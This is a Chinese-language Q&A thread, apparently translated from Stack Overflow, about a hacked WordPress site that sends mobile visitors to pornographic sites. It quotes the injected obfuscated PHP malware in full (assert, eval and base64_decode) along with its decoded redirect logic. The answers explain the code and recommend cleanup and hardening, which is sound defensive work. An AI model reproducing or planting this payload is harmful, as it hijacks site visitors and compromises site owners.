我有一个网站(wordpress)并托管在共享托管服务器上,该网站在桌面和笔记本电脑上打开正常,但当我们在手机上打开它时,一些色情网站正在打开甚至是.htaccess的代码文件已更改。
代码是
<?php
$_ = strrev("tress\x61"); @$_("e\166a\154\050b\141\163\145\066\064\137\144\145c\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0iaHR0cDovL21vYmlsZS1tb2JpLmluZm8vPzIiPC9zY3JpcHQ+JzsgZmx1c2goKTsgZXhpdDsgfQ=='\051\051\073");
?>
请帮忙,
提前致谢。
答案 0 :(得分:1)
对不起,我尝试解码您的示例代码。
是:
if ((preg_match('/text\/vnd.wap.wml|application\/vnd.wap.xhtml\+xml/si', @$_SERVER['HTTP_ACCEPT']) || preg_match('/alcatel|amoi|android|avantgo|blackberry|benq|cell|cricket|docomo|elaine|htc|iemobile|iphone|ipad|ipaq|ipod|j2me|java|opera.mini|midp|mmp|mobi|motorola|nec-|nokia|palm|panasonic|philips|phone|sagem|sharp|sie-|smartphone|sony|symbian|t-mobile|telus|up\.browser|up\.link|vodafone|wap|webos|wireless|xda|xoom|zte/si', @$_SERVER['HTTP_USER_AGENT']) || preg_match('/msearch|m\?q=/si', @$_SERVER['HTTP_REFERER'])) && !preg_match('/macintosh|america|avant|download|windows\-media\-player|yandex|google/si', @$_SERVER['HTTP_USER_AGENT'])) { echo '<script>window.location="http://mobile-mobi.info/?2"</script>'; flush(); exit; }
这会将您的访问者使用移动设备重定向到特定网站。
我建议您使用恶意软件扫描程序检查您的网站,我在服务器上使用clamav,在本地服务器上使用avast扫描此代码,但看不到检测到的病毒(可能是他们的数据库没有更新此恶意软件信息。)
我建议您仍然需要使用恶意软件扫描程序扫描您的网站,以扫描您的网站以检测其他病毒。 另外,您可以使用grep命令搜索具有此代码的任何文件并将其删除手册
grep命令是:
grep -R 'strrev("tress\x61");' /var/www/html
将/var/www/html
替换为您网站的根路径。
P / S:对不起,如果我的英语不是很好。
答案 1 :(得分:1)
我试过解码上面的代码行
$_ = strrev("tress\x61");
这一行将返回一个断言函数,并且
@$_("e\166a\154\050b\141\163\145\066\064\137\144\145c\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0iaHR0cDovL21vYmlsZS1tb2JpLmluZm8vPzIiPC9zY3JpcHQ+JzsgZmx1c2goKTsgZXhpdDsgfQ=='\051\051\073");
使用以下参数调用断言函数。
eval(base64_decode('malicious code encoded as base64'))
所以完整形式如下
assert( eval (base64_decode('malicious code encoded as base64')));
部分恶意代码正在检查请求是否来自任何移动设备,平板电脑或ipad等。
if ((preg_match('/text\/vnd.wap.wml|application\/vnd.wap.xhtml\+xml/si', @$_SERVER['HTTP_ACCEPT']) || preg_match('/alcatel|amoi|android|avantgo|blackberry|benq|cell|cricket|docomo|elaine|htc|iemobile|iphone|ipad|ipaq|ipod|j2me|java|opera.mini|midp|mmp|mobi|motorola|nec-|nokia|palm|panasonic|philips|phone|sagem|sharp|sie-|smartphone|sony|symbian|t-mobile|telus|up\.browser|up\.link|vodafone|wap|webos|wireless|xda|xoom|zte/si', @$_SERVER['HTTP_USER_AGENT']) || preg_match('/msearch|m\?q=/si', @$_SERVER['HTTP_REFERER'])) && !preg_match('/macintosh|america|avant|download|windows\-media\-player|yandex|google/si', @$_SERVER['HTTP_USER_AGENT'])) {
<强>结论强> 此恶意代码会检查请求是来自移动设备(移动设备,iPad还是任何平板电脑或特定浏览器),然后重定向此请求。
您已经找到了有问题的代码,将其从您的目录中删除,您用于托管的服务器,确保其安全并具有防病毒功能,更改您的密码可能有所帮助,还要检查您的系统是否正确嵌入此代码你上传到服务器。它可能不是服务器而是您的系统。
答案 2 :(得分:0)
答案 3 :(得分:0)
您应该阅读Hardening Wordpress指南 - 如果您的.htaccess
能够通过网络撰写,那么您就会有相当大的安全漏洞(如果不是多个)。
你肯定想从你的.htaccess
中删除该代码,我做了一些测试,实际上是重定向到色情网站的内容。第一行将值“assert”赋给变量$_
,然后使用它来运行已经过Base64编码的代码。简而言之,它会对您的HTTP_ACCEPT
变量进行一些匹配,并通过查看HTTP_USER_AGENT
和HTTP_REFERER
来确保您不是来自搜索引擎。如果您没有将?2
附加为查询字符串变量,则重定向到的网址会将您发送给Google。
答案 4 :(得分:0)
大多数wordpress hacks来自:
如果你不能让你的wp-config.php对机器上的其他用户不可读,那么在移动网站之前你的问题永远不会得到解决。